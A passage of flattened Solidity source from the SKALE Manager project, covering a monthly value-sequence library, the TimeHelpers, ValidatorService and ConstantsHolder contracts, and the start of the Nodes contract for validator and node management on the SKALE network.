if (sequence.firstUnprocessedMonth == 0) { sequence.firstUnprocessedMonth = month; sequence.lastChangedMonth = month; } if (month > sequence.lastChangedMonth) { sequence.lastChangedMonth = month; } if (month >= sequence.firstUnprocessedMonth) { sequence.addDiff[month] = sequence.addDiff[month].add(diff); } else { sequence.value = sequence.value.add(diff); } } function subtractFromValue(Value storage sequence, uint diff, uint month) internal { require(sequence.firstUnprocessedMonth <= month.add(1), "Cannot subtract from the past"); if (sequence.firstUnprocessedMonth == 0) { sequence.firstUnprocessedMonth = month; sequence.lastChangedMonth = month; } if (month > sequence.lastChangedMonth) { sequence.lastChangedMonth = month; } if (month >= sequence.firstUnprocessedMonth) { sequence.subtractDiff[month] = sequence.subtractDiff[month].add(diff); } else { sequence.value = sequence.value.boundedSub(diff); } } function getAndUpdateValue(Value storage sequence, uint month) internal returns (uint) { require( month.add(1) >= sequence.firstUnprocessedMonth, "Cannot calculate value in the past"); if (sequence.firstUnprocessedMonth == 0) { return 0; } if (sequence.firstUnprocessedMonth <= month) { uint value = sequence.value; for (uint i = sequence.firstUnprocessedMonth; i <= month; ++i) { value = value.add(sequence.addDiff[i]).boundedSub(sequence.subtractDiff[i]); if (sequence.addDiff[i] > 0) { delete sequence.addDiff[i]; } if (sequence.subtractDiff[i] > 0) { delete sequence.subtractDiff[i]; } } if (sequence.value != value) { sequence.value = value; } sequence.firstUnprocessedMonth = month.add(1); } return sequence.value; } function getValue(Value storage sequence, uint month) internal view returns (uint) { require( month.add(1) >= sequence.firstUnprocessedMonth, "Cannot calculate value in the past"); if (sequence.firstUnprocessedMonth == 0) { return 0; } if (sequence.firstUnprocessedMonth <= month) { uint value = sequence.value; for (uint i = sequence.firstUnprocessedMonth; i <= month; ++i) { value = value.add(sequence.addDiff[i]).sub(sequence.subtractDiff[i]); } return value; } else { return sequence.value; } } function getValues(Value storage sequence) internal view returns (uint[] memory values) { if (sequence.firstUnprocessedMonth == 0) { return values; } uint begin = sequence.firstUnprocessedMonth.sub(1); uint end = sequence.lastChangedMonth.add(1); if (end <= begin) { end = begin.add(1); } values = new uint[](end.sub(begin)); values[0] = sequence.value; for (uint i = 0; i.add(1) < values.length; ++i) { uint month = sequence.firstUnprocessedMonth.add(i); values[i.add(1)] = values[i].add(sequence.addDiff[month]).sub(sequence.subtractDiff[month]); } } function reduceValue( Value storage sequence, uint amount, uint month) internal returns (FractionUtils.Fraction memory) { require(month.add(1) >= sequence.firstUnprocessedMonth, "Cannot reduce value in the past"); if (sequence.firstUnprocessedMonth == 0) { return FractionUtils.createFraction(0); } uint value = getAndUpdateValue(sequence, month); if (value.approximatelyEqual(0)) { return FractionUtils.createFraction(0); } uint _amount = amount; if (value < amount) { _amount = value; } FractionUtils.Fraction memory reducingCoefficient = FractionUtils.createFraction(value.boundedSub(_amount), value); reduceValueByCoefficient(sequence, reducingCoefficient, month); return reducingCoefficient; } function reduceValueByCoefficient( Value storage sequence, FractionUtils.Fraction memory reducingCoefficient, uint month) internal { reduceValueByCoefficientAndUpdateSumIfNeeded( sequence, sequence, reducingCoefficient, month, false); } function reduceValueByCoefficientAndUpdateSum( Value storage sequence, Value storage sumSequence, FractionUtils.Fraction memory reducingCoefficient, uint month) internal { reduceValueByCoefficientAndUpdateSumIfNeeded( sequence, sumSequence, reducingCoefficient, month, true); } function reduceValueByCoefficientAndUpdateSumIfNeeded( Value storage sequence, Value storage sumSequence, FractionUtils.Fraction memory reducingCoefficient, uint month, bool hasSumSequence) internal { require(month.add(1) >= sequence.firstUnprocessedMonth, "Cannot reduce value in the past"); if (hasSumSequence) { require(month.add(1) >= sumSequence.firstUnprocessedMonth, "Cannot reduce value in the past"); } require( reducingCoefficient.numerator <= reducingCoefficient.denominator, "Increasing of values is not implemented"); if (sequence.firstUnprocessedMonth == 0) { return; } uint value = getAndUpdateValue(sequence, month); if (value.approximatelyEqual(0)) { return; } uint newValue = sequence.value.mul(reducingCoefficient.numerator).div(reducingCoefficient.denominator); if (hasSumSequence) { subtractFromValue(sumSequence, sequence.value.boundedSub(newValue), month); } sequence.value = newValue; for (uint i = month.add(1); i <= sequence.lastChangedMonth; ++i) { uint newDiff = sequence.subtractDiff[i] .mul(reducingCoefficient.numerator) .div(reducingCoefficient.denominator); if (hasSumSequence) { sumSequence.subtractDiff[i] = sumSequence.subtractDiff[i] .boundedSub(sequence.subtractDiff[i].boundedSub(newDiff)); } sequence.subtractDiff[i] = newDiff; } } function clear(Value storage sequence) internal { for (uint i = sequence.firstUnprocessedMonth; i <= sequence.lastChangedMonth; ++i) { if (sequence.addDiff[i] > 0) { delete sequence.addDiff[i]; } if (sequence.subtractDiff[i] > 0) { delete sequence.subtractDiff[i]; } } if (sequence.value > 0) { delete sequence.value; } if (sequence.firstUnprocessedMonth > 0) { delete sequence.firstUnprocessedMonth; } if (sequence.lastChangedMonth > 0) { delete sequence.lastChangedMonth; } } } // SPDX-License-Identifier: AGPL-3.0-only /* TimeHelpers.sol - SKALE Manager Copyright (C) 2019-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol"; import "../thirdparty/BokkyPooBahsDateTimeLibrary.sol"; /** * @title TimeHelpers * @dev The contract performs time operations. * * These functions are used to calculate monthly and Proof of Use epochs. */ contract TimeHelpers { using SafeMath for uint; uint constant private _ZERO_YEAR = 2020; function calculateProofOfUseLockEndTime(uint month, uint lockUpPeriodDays) external view returns (uint timestamp) { timestamp = BokkyPooBahsDateTimeLibrary.addDays(monthToTimestamp(month), lockUpPeriodDays); } function addDays(uint fromTimestamp, uint n) external pure returns (uint) { return BokkyPooBahsDateTimeLibrary.addDays(fromTimestamp, n); } function addMonths(uint fromTimestamp, uint n) external pure returns (uint) { return BokkyPooBahsDateTimeLibrary.addMonths(fromTimestamp, n); } function addYears(uint fromTimestamp, uint n) external pure returns (uint) { return BokkyPooBahsDateTimeLibrary.addYears(fromTimestamp, n); } function getCurrentMonth() external view virtual returns (uint) { return timestampToMonth(now); } function timestampToDay(uint timestamp) external view returns (uint) { uint wholeDays = timestamp / BokkyPooBahsDateTimeLibrary.SECONDS_PER_DAY; uint zeroDay = BokkyPooBahsDateTimeLibrary.timestampFromDate(_ZERO_YEAR, 1, 1) / BokkyPooBahsDateTimeLibrary.SECONDS_PER_DAY; require(wholeDays >= zeroDay, "Timestamp is too far in the past"); return wholeDays - zeroDay; } function timestampToYear(uint timestamp) external view virtual returns (uint) { uint year; (year, , ) = BokkyPooBahsDateTimeLibrary.timestampToDate(timestamp); require(year >= _ZERO_YEAR, "Timestamp is too far in the past"); return year - _ZERO_YEAR; } function timestampToMonth(uint timestamp) public view virtual returns (uint) { uint year; uint month; (year, month, ) = BokkyPooBahsDateTimeLibrary.timestampToDate(timestamp); require(year >= _ZERO_YEAR, "Timestamp is too far in the past"); month = month.sub(1).add(year.sub(_ZERO_YEAR).mul(12)); require(month > 0, "Timestamp is too far in the past"); return month; } function monthToTimestamp(uint month) public view virtual returns (uint timestamp) { uint year = _ZERO_YEAR; uint _month = month; year = year.add(_month.div(12)); _month = _month.mod(12); _month = _month.add(1); return BokkyPooBahsDateTimeLibrary.timestampFromDate(year, _month, 1); } } // SPDX-License-Identifier: AGPL-3.0-only /* ValidatorService.sol - SKALE Manager Copyright (C) 2019-Present SKALE Labs @author Dmytro Stebaiev @author Artem Payvin @author Vadim Yavorsky SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts-ethereum-package/contracts/cryptography/ECDSA.sol"; import "../Permissions.sol"; import "../ConstantsHolder.sol"; import "./DelegationController.sol"; import "./TimeHelpers.sol"; /** * @title ValidatorService * @dev This contract handles all validator operations including registration, * node management, validator-specific delegation parameters, and more. * * TIP: For more information see our main instructions * https://forum.skale.network/t/skale-mainnet-launch-faq/182[SKALE MainNet Launch FAQ]. * * Validators register an address, and use this address to accept delegations and * register nodes. */ contract ValidatorService is Permissions { using ECDSA for bytes32; struct Validator { string name; address validatorAddress; address requestedAddress; string description; uint feeRate; uint registrationTime; uint minimumDelegationAmount; bool acceptNewRequests; } /** * @dev Emitted when a validator registers. */ event ValidatorRegistered( uint validatorId ); /** * @dev Emitted when a validator address changes. */ event ValidatorAddressChanged( uint validatorId, address newAddress ); /** * @dev Emitted when a validator is enabled. */ event ValidatorWasEnabled( uint validatorId ); /** * @dev Emitted when a validator is disabled. */ event ValidatorWasDisabled( uint validatorId ); /** * @dev Emitted when a node address is linked to a validator. */ event NodeAddressWasAdded( uint validatorId, address nodeAddress ); /** * @dev Emitted when a node address is unlinked from a validator. */ event NodeAddressWasRemoved( uint validatorId, address nodeAddress ); mapping (uint => Validator) public validators; mapping (uint => bool) private _trustedValidators; uint[] public trustedValidatorsList; // address => validatorId mapping (address => uint) private _validatorAddressToId; // address => validatorId mapping (address => uint) private _nodeAddressToValidatorId; // validatorId => nodeAddress[] mapping (uint => address[]) private _nodeAddresses; uint public numberOfValidators; bool public useWhitelist; bytes32 public constant VALIDATOR_MANAGER_ROLE = keccak256("VALIDATOR_MANAGER_ROLE"); modifier onlyValidatorManager() { require(hasRole(VALIDATOR_MANAGER_ROLE, msg.sender), "VALIDATOR_MANAGER_ROLE is required"); _; } modifier checkValidatorExists(uint validatorId) { require(validatorExists(validatorId), "Validator with such ID does not exist"); _; } /** * @dev Creates a new validator ID that includes a validator name, description, * commission or fee rate, and a minimum delegation amount accepted by the validator. * * Emits a {ValidatorRegistered} event. * * Requirements: * * - Sender must not already have registered a validator ID. * - Fee rate must be between 0 - 1000‰. Note: in per mille. */ function registerValidator( string calldata name, string calldata description, uint feeRate, uint minimumDelegationAmount ) external returns (uint validatorId) { require(!validatorAddressExists(msg.sender), "Validator with such address already exists"); require(feeRate <= 1000, "Fee rate of validator should be lower than 100%"); validatorId = ++numberOfValidators; validators[validatorId] = Validator( name, msg.sender, address(0), description, feeRate, now, minimumDelegationAmount, true ); _setValidatorAddress(validatorId, msg.sender); emit ValidatorRegistered(validatorId); } /** * @dev Allows Admin to enable a validator by adding their ID to the * trusted list. * * Emits a {ValidatorWasEnabled} event. * * Requirements: * * - Validator must not already be enabled. */ function enableValidator(uint validatorId) external checkValidatorExists(validatorId) onlyValidatorManager { require(!_trustedValidators[validatorId], "Validator is already enabled"); _trustedValidators[validatorId] = true; trustedValidatorsList.push(validatorId); emit ValidatorWasEnabled(validatorId); } /** * @dev Allows Admin to disable a validator by removing their ID from * the trusted list. * * Emits a {ValidatorWasDisabled} event. * * Requirements: * * - Validator must not already be disabled. */ function disableValidator(uint validatorId) external checkValidatorExists(validatorId) onlyValidatorManager { require(_trustedValidators[validatorId], "Validator is already disabled"); _trustedValidators[validatorId] = false; uint position = _find(trustedValidatorsList, validatorId); if (position < trustedValidatorsList.length) { trustedValidatorsList[position] = trustedValidatorsList[trustedValidatorsList.length.sub(1)]; } trustedValidatorsList.pop(); emit ValidatorWasDisabled(validatorId); } /** * @dev Owner can disable the trusted validator list. Once turned off, the * trusted list cannot be re-enabled. */ function disableWhitelist() external onlyValidatorManager { useWhitelist = false; } /** * @dev Allows `msg.sender` to request a new address. * * Requirements: * * - `msg.sender` must already be a validator. * - New address must not be null. * - New address must not be already registered as a validator. */ function requestForNewAddress(address newValidatorAddress) external { require(newValidatorAddress != address(0), "New address cannot be null"); require(_validatorAddressToId[newValidatorAddress] == 0, "Address already registered"); // check Validator Exist inside getValidatorId uint validatorId = getValidatorId(msg.sender); validators[validatorId].requestedAddress = newValidatorAddress; } /** * @dev Allows msg.sender to confirm an address change. * * Emits a {ValidatorAddressChanged} event. * * Requirements: * * - Must be owner of new address. */ function confirmNewAddress(uint validatorId) external checkValidatorExists(validatorId) { require( getValidator(validatorId).requestedAddress == msg.sender, "The validator address cannot be changed because it is not the actual owner" ); delete validators[validatorId].requestedAddress; _setValidatorAddress(validatorId, msg.sender); emit ValidatorAddressChanged(validatorId, validators[validatorId].validatorAddress); } /** * @dev Links a node address to validator ID. Validator must present * the node signature of the validator ID. * * Requirements: * * - Signature must be valid. * - Address must not be assigned to a validator. */ function linkNodeAddress(address nodeAddress, bytes calldata sig) external { // check Validator Exist inside getValidatorId uint validatorId = getValidatorId(msg.sender); require( keccak256(abi.encodePacked(validatorId)).toEthSignedMessageHash().recover(sig) == nodeAddress, "Signature is not pass" ); require(_validatorAddressToId[nodeAddress] == 0, "Node address is a validator"); _addNodeAddress(validatorId, nodeAddress); emit NodeAddressWasAdded(validatorId, nodeAddress); } /** * @dev Unlinks a node address from a validator. * * Emits a {NodeAddressWasRemoved} event. */ function unlinkNodeAddress(address nodeAddress) external { // check Validator Exist inside getValidatorId uint validatorId = getValidatorId(msg.sender); this.removeNodeAddress(validatorId, nodeAddress); emit NodeAddressWasRemoved(validatorId, nodeAddress); } /** * @dev Allows a validator to set a minimum delegation amount. */ function setValidatorMDA(uint minimumDelegationAmount) external { // check Validator Exist inside getValidatorId uint validatorId = getValidatorId(msg.sender); validators[validatorId].minimumDelegationAmount = minimumDelegationAmount; } /** * @dev Allows a validator to set a new validator name. */ function setValidatorName(string calldata newName) external { // check Validator Exist inside getValidatorId uint validatorId = getValidatorId(msg.sender); validators[validatorId].name = newName; } /** * @dev Allows a validator to set a new validator description. */ function setValidatorDescription(string calldata newDescription) external { // check Validator Exist inside getValidatorId uint validatorId = getValidatorId(msg.sender); validators[validatorId].description = newDescription; } /** * @dev Allows a validator to start accepting new delegation requests. * * Requirements: * * - Must not have already enabled accepting new requests. */ function startAcceptingNewRequests() external { // check Validator Exist inside getValidatorId uint validatorId = getValidatorId(msg.sender); require(!isAcceptingNewRequests(validatorId), "Accepting request is already enabled"); validators[validatorId].acceptNewRequests = true; } /** * @dev Allows a validator to stop accepting new delegation requests. * * Requirements: * * - Must not have already stopped accepting new requests. */ function stopAcceptingNewRequests() external { // check Validator Exist inside getValidatorId uint validatorId = getValidatorId(msg.sender); require(isAcceptingNewRequests(validatorId), "Accepting request is already disabled"); validators[validatorId].acceptNewRequests = false; } function removeNodeAddress(uint validatorId, address nodeAddress) external allowTwo("ValidatorService", "Nodes") { require(_nodeAddressToValidatorId[nodeAddress] == validatorId, "Validator does not have permissions to unlink node"); delete _nodeAddressToValidatorId[nodeAddress]; for (uint i = 0; i < _nodeAddresses[validatorId].length; ++i) { if (_nodeAddresses[validatorId][i] == nodeAddress) { if (i + 1 < _nodeAddresses[validatorId].length) { _nodeAddresses[validatorId][i] = _nodeAddresses[validatorId][_nodeAddresses[validatorId].length.sub(1)]; } delete _nodeAddresses[validatorId][_nodeAddresses[validatorId].length.sub(1)]; _nodeAddresses[validatorId].pop(); break; } } } /** * @dev Returns the amount of validator bond (self-delegation). */ function getAndUpdateBondAmount(uint validatorId) external returns (uint) { DelegationController delegationController = DelegationController( contractManager.getContract("DelegationController") ); return delegationController.getAndUpdateDelegatedByHolderToValidatorNow( getValidator(validatorId).validatorAddress, validatorId ); } /** * @dev Returns node addresses linked to the msg.sender. */ function getMyNodesAddresses() external view returns (address[] memory) { return getNodeAddresses(getValidatorId(msg.sender)); } /** * @dev Returns the list of trusted validators. */ function getTrustedValidators() external view returns (uint[] memory) { return trustedValidatorsList; } /** * @dev Checks whether the validator ID is linked to the validator address. */ function checkValidatorAddressToId(address validatorAddress, uint validatorId) external view returns (bool) { return getValidatorId(validatorAddress) == validatorId ? true : false; } /** * @dev Returns the validator ID linked to a node address. * * Requirements: * * - Node address must be linked to a validator. */ function getValidatorIdByNodeAddress(address nodeAddress) external view returns (uint validatorId) { validatorId = _nodeAddressToValidatorId[nodeAddress]; require(validatorId != 0, "Node address is not assigned to a validator"); } function checkValidatorCanReceiveDelegation(uint validatorId, uint amount) external view { require(isAuthorizedValidator(validatorId), "Validator is not authorized to accept delegation request"); require(isAcceptingNewRequests(validatorId), "The validator is not currently accepting new requests"); require( validators[validatorId].minimumDelegationAmount <= amount, "Amount does not meet the validator's minimum delegation amount" ); } function initialize(address contractManagerAddress) public override initializer { Permissions.initialize(contractManagerAddress); useWhitelist = true; } /** * @dev Returns a validator's node addresses. */ function getNodeAddresses(uint validatorId) public view returns (address[] memory) { return _nodeAddresses[validatorId]; } /** * @dev Checks whether validator ID exists. */ function validatorExists(uint validatorId) public view returns (bool) { return validatorId <= numberOfValidators && validatorId != 0; } /** * @dev Checks whether validator address exists. */ function validatorAddressExists(address validatorAddress) public view returns (bool) { return _validatorAddressToId[validatorAddress] != 0; } /** * @dev Checks whether validator address exists. */ function checkIfValidatorAddressExists(address validatorAddress) public view { require(validatorAddressExists(validatorAddress), "Validator address does not exist"); } /** * @dev Returns the Validator struct. */ function getValidator(uint validatorId) public view checkValidatorExists(validatorId) returns (Validator memory) { return validators[validatorId]; } /** * @dev Returns the validator ID for the given validator address. */ function getValidatorId(address validatorAddress) public view returns (uint) { checkIfValidatorAddressExists(validatorAddress); return _validatorAddressToId[validatorAddress]; } /** * @dev Checks whether the validator is currently accepting new delegation requests. */ function isAcceptingNewRequests(uint validatorId) public view checkValidatorExists(validatorId) returns (bool) { return validators[validatorId].acceptNewRequests; } function isAuthorizedValidator(uint validatorId) public view checkValidatorExists(validatorId) returns (bool) { return _trustedValidators[validatorId] || !useWhitelist; } // private /** * @dev Links a validator address to a validator ID. * * Requirements: * * - Address is not already in use by another validator. */ function _setValidatorAddress(uint validatorId, address validatorAddress) private { if (_validatorAddressToId[validatorAddress] == validatorId) { return; } require(_validatorAddressToId[validatorAddress] == 0, "Address is in use by another validator"); address oldAddress = validators[validatorId].validatorAddress; delete _validatorAddressToId[oldAddress]; _nodeAddressToValidatorId[validatorAddress] = validatorId; validators[validatorId].validatorAddress = validatorAddress; _validatorAddressToId[validatorAddress] = validatorId; } /** * @dev Links a node address to a validator ID. * * Requirements: * * - Node address must not be already linked to a validator. */ function _addNodeAddress(uint validatorId, address nodeAddress) private { if (_nodeAddressToValidatorId[nodeAddress] == validatorId) { return; } require(_nodeAddressToValidatorId[nodeAddress] == 0, "Validator cannot override node address"); _nodeAddressToValidatorId[nodeAddress] = validatorId; _nodeAddresses[validatorId].push(nodeAddress); } function _find(uint[] memory array, uint index) private pure returns (uint) { uint i; for (i = 0; i < array.length; i++) { if (array[i] == index) { return i; } } return array.length; } } // SPDX-License-Identifier: AGPL-3.0-only /* ConstantsHolder.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "./Permissions.sol"; /** * @title ConstantsHolder * @dev Contract contains constants and common variables for the SKALE Network. */ contract ConstantsHolder is Permissions { // initial price for creating Node (100 SKL) uint public constant NODE_DEPOSIT = 100 * 1e18; uint8 public constant TOTAL_SPACE_ON_NODE = 128; // part of Node for Small Skale-chain (1/128 of Node) uint8 public constant SMALL_DIVISOR = 128; // part of Node for Medium Skale-chain (1/32 of Node) uint8 public constant MEDIUM_DIVISOR = 32; // part of Node for Large Skale-chain (full Node) uint8 public constant LARGE_DIVISOR = 1; // part of Node for Medium Test Skale-chain (1/4 of Node) uint8 public constant MEDIUM_TEST_DIVISOR = 4; // typically number of Nodes for Skale-chain (16 Nodes) uint public constant NUMBER_OF_NODES_FOR_SCHAIN = 16; // number of Nodes for Test Skale-chain (2 Nodes) uint public constant NUMBER_OF_NODES_FOR_TEST_SCHAIN = 2; // number of Nodes for Test Skale-chain (4 Nodes) uint public constant NUMBER_OF_NODES_FOR_MEDIUM_TEST_SCHAIN = 4; // number of seconds in one year uint32 public constant SECONDS_TO_YEAR = 31622400; // initial number of monitors uint public constant NUMBER_OF_MONITORS = 24; uint public constant OPTIMAL_LOAD_PERCENTAGE = 80; uint public constant ADJUSTMENT_SPEED = 1000; uint public constant COOLDOWN_TIME = 60; uint public constant MIN_PRICE = 10**6; uint public constant MSR_REDUCING_COEFFICIENT = 2; uint public constant DOWNTIME_THRESHOLD_PART = 30; uint public constant BOUNTY_LOCKUP_MONTHS = 2; uint public constant ALRIGHT_DELTA = 62893; uint public constant BROADCAST_DELTA = 131000; uint public constant COMPLAINT_BAD_DATA_DELTA = 49580; uint public constant PRE_RESPONSE_DELTA = 74500; uint public constant COMPLAINT_DELTA = 76221; uint public constant RESPONSE_DELTA = 183000; // MSR - Minimum staking requirement uint public msr; // Reward period - 30 days (each 30 days Node would be granted for bounty) uint32 public rewardPeriod; // Allowable latency - 150000 ms by default uint32 public allowableLatency; /** * Delta period - 1 hour (1 hour before Reward period became Monitors need * to send Verdicts and 1 hour after Reward period became Node need to come * and get Bounty) */ uint32 public deltaPeriod; /** * Check time - 2 minutes (every 2 minutes monitors should check metrics * from checked nodes) */ uint public checkTime; //Need to add minimal allowed parameters for verdicts uint public launchTimestamp; uint public rotationDelay; uint public proofOfUseLockUpPeriodDays; uint public proofOfUseDelegationPercentage; uint public limitValidatorsPerDelegator; uint256 public firstDelegationsMonth; // deprecated // date when schains will be allowed for creation uint public schainCreationTimeStamp; uint public minimalSchainLifetime; uint public complaintTimelimit; bytes32 public constant CONSTANTS_HOLDER_MANAGER_ROLE = keccak256("CONSTANTS_HOLDER_MANAGER_ROLE"); modifier onlyConstantsHolderManager() { require(hasRole(CONSTANTS_HOLDER_MANAGER_ROLE, msg.sender), "CONSTANTS_HOLDER_MANAGER_ROLE is required"); _; } /** * @dev Allows the Owner to set new reward and delta periods * This function is only for tests. */ function setPeriods(uint32 newRewardPeriod, uint32 newDeltaPeriod) external onlyConstantsHolderManager { require( newRewardPeriod >= newDeltaPeriod && newRewardPeriod - newDeltaPeriod >= checkTime, "Incorrect Periods" ); rewardPeriod = newRewardPeriod; deltaPeriod = newDeltaPeriod; } /** * @dev Allows the Owner to set the new check time. * This function is only for tests. */ function setCheckTime(uint newCheckTime) external onlyConstantsHolderManager { require(rewardPeriod - deltaPeriod >= checkTime, "Incorrect check time"); checkTime = newCheckTime; } /** * @dev Allows the Owner to set the allowable latency in milliseconds. * This function is only for testing purposes. */ function setLatency(uint32 newAllowableLatency) external onlyConstantsHolderManager { allowableLatency = newAllowableLatency; } /** * @dev Allows the Owner to set the minimum stake requirement. */ function setMSR(uint newMSR) external onlyConstantsHolderManager { msr = newMSR; } /** * @dev Allows the Owner to set the launch timestamp. */ function setLaunchTimestamp(uint timestamp) external onlyConstantsHolderManager { require(now < launchTimestamp, "Cannot set network launch timestamp because network is already launched"); launchTimestamp = timestamp; } /** * @dev Allows the Owner to set the node rotation delay. */ function setRotationDelay(uint newDelay) external onlyConstantsHolderManager { rotationDelay = newDelay; } /** * @dev Allows the Owner to set the proof-of-use lockup period. */ function setProofOfUseLockUpPeriod(uint periodDays) external onlyConstantsHolderManager { proofOfUseLockUpPeriodDays = periodDays; } /** * @dev Allows the Owner to set the proof-of-use delegation percentage * requirement. */ function setProofOfUseDelegationPercentage(uint percentage) external onlyConstantsHolderManager { require(percentage <= 100, "Percentage value is incorrect"); proofOfUseDelegationPercentage = percentage; } /** * @dev Allows the Owner to set the maximum number of validators that a * single delegator can delegate to. */ function setLimitValidatorsPerDelegator(uint newLimit) external onlyConstantsHolderManager { limitValidatorsPerDelegator = newLimit; } function setSchainCreationTimeStamp(uint timestamp) external onlyConstantsHolderManager { schainCreationTimeStamp = timestamp; } function setMinimalSchainLifetime(uint lifetime) external onlyConstantsHolderManager { minimalSchainLifetime = lifetime; } function setComplaintTimelimit(uint timelimit) external onlyConstantsHolderManager { complaintTimelimit = timelimit; } function initialize(address contractsAddress) public override initializer { Permissions.initialize(contractsAddress); msr = 0; rewardPeriod = 2592000; allowableLatency = 150000; deltaPeriod = 3600; checkTime = 300; launchTimestamp = uint(-1); rotationDelay = 12 hours; proofOfUseLockUpPeriodDays = 90; proofOfUseDelegationPercentage = 50; limitValidatorsPerDelegator = 20; firstDelegationsMonth = 0; complaintTimelimit = 1800; } } // SPDX-License-Identifier: AGPL-3.0-only /* Nodes.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin @author Dmytro Stebaiev @author Vadim Yavorsky SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts-ethereum-package/contracts/utils/SafeCast.sol"; import "./delegation/DelegationController.sol"; import "./delegation/ValidatorService.sol"; import "./utils/Random.sol"; import "./utils/SegmentTree.sol"; import "./BountyV2.sol"; import "./ConstantsHolder.sol"; import "./Permissions.sol"; /** * @title Nodes * @dev This contract contains all logic to manage SKALE Network nodes states, * space availability, stake requirement checks, and exit functions. * * Nodes may be in one of several states: * * - Active: Node is registered and is in network operation. * - Leaving: Node has begun exiting from the network. * - Left: Node has left the network. * - In_Maintenance: Node is temporarily offline or undergoing infrastructure * maintenance * * Note: Online nodes contain both Active and Leaving states. */ contract Nodes is Permissions { using Random for Random.RandomGenerator; using SafeCast for uint; using SegmentTree for SegmentTree.Tree; // All Nodes states enum NodeStatus {Active, Leaving, Left, In_Maintenance} struct Node { string name; bytes4 ip; bytes4 publicIP; uint16 port; bytes32[2] publicKey; uint startBlock; uint lastRewardDate; uint finishTime; NodeStatus status; uint validatorId; } // struct to note which Nodes and which number of Nodes owned by user struct CreatedNodes { mapping (uint => bool) isNodeExist; uint numberOfNodes; } struct SpaceManaging { uint8 freeSpace; uint indexInSpaceMap; } // TODO: move outside the contract struct NodeCreationParams { string name; bytes4 ip; bytes4 publicIp; uint16 port; bytes32[2] publicKey; uint16 nonce; string domainName; } bytes32 constant public COMPLIANCE_ROLE = keccak256("COMPLIANCE_ROLE"); bytes32 public constant NODE_MANAGER_ROLE = keccak256("NODE_MANAGER_ROLE"); // array which contain all Nodes Node[] public nodes; SpaceManaging[] public spaceOfNodes; // mapping for checking which Nodes and which number of Nodes owned by user mapping (address => CreatedNodes) public nodeIndexes; // mapping for checking is IP address busy mapping (bytes4 => bool) public nodesIPCheck; // mapping for checking is Name busy mapping (bytes32 => bool) public nodesNameCheck; // mapping for indication from Name to Index mapping (bytes32 => uint) public nodesNameToIndex; // mapping for indication from space to Nodes mapping (uint8 => uint[]) public spaceToNodes; mapping (uint => uint[]) public validatorToNodeIndexes; uint public numberOfActiveNodes; uint public numberOfLeavingNodes; uint public numberOfLeftNodes; mapping (uint => string) public domainNames; mapping (uint => bool) private _invisible; SegmentTree.Tree private _nodesAmountBySpace; mapping (uint => bool) public incompliant; /** * @dev Emitted when a node is created. */ event NodeCreated( uint nodeIndex, address owner, string name, bytes4 ip, bytes4 publicIP, uint16 port, uint16 nonce, string domainName, uint time, uint gasSpend ); /** * @dev Emitted when a node completes a network exit. */ event ExitCompleted( uint nodeIndex, uint time, uint gasSpend ); /** * @dev Emitted when a node begins to exit from the network. */ event ExitInitialized( uint nodeIndex, uint startLeavingPeriod, uint time, uint gasSpend ); modifier checkNodeExists(uint nodeIndex) { _checkNodeIndex(nodeIndex); _; } modifier onlyNodeOrNodeManager(uint nodeIndex) { _checkNodeOrNodeManager(nodeIndex, msg.sender); _; } modifier onlyCompliance() { require(hasRole(COMPLIANCE_ROLE, msg.sender), "COMPLIANCE_ROLE is required"); _; } modifier nonZeroIP(bytes4 ip) { require(ip != 0x0 && !nodesIPCheck[ip], "IP address is zero or is not available"); _; } /** * @dev Allows Schains and SchainsInternal contracts to occupy available * space on a node. * * Returns whether operation is successful. */ function removeSpaceFromNode(uint nodeIndex, uint8 space) external checkNodeExists(nodeIndex) allowTwo("NodeRotation", "SchainsInternal") returns (bool) { if (spaceOfNodes[nodeIndex].freeSpace < space) { return false; } if (space > 0) { _moveNodeToNewSpaceMap( nodeIndex, uint(spaceOfNodes[nodeIndex].freeSpace).sub(space).toUint8() ); } return true; } /** * @dev Allows Schains contract to occupy free space on a node. * * Returns whether operation is successful. */ function addSpaceToNode(uint nodeIndex, uint8 space) external checkNodeExists(nodeIndex) allowTwo("Schains", "NodeRotation") { if (space > 0) { _moveNodeToNewSpaceMap( nodeIndex, uint(spaceOfNodes[nodeIndex].freeSpace).add(space).toUint8() ); } } /** * @dev Allows SkaleManager to change a node's last reward date. */ function changeNodeLastRewardDate(uint nodeIndex) external checkNodeExists(nodeIndex) allow("SkaleManager") { 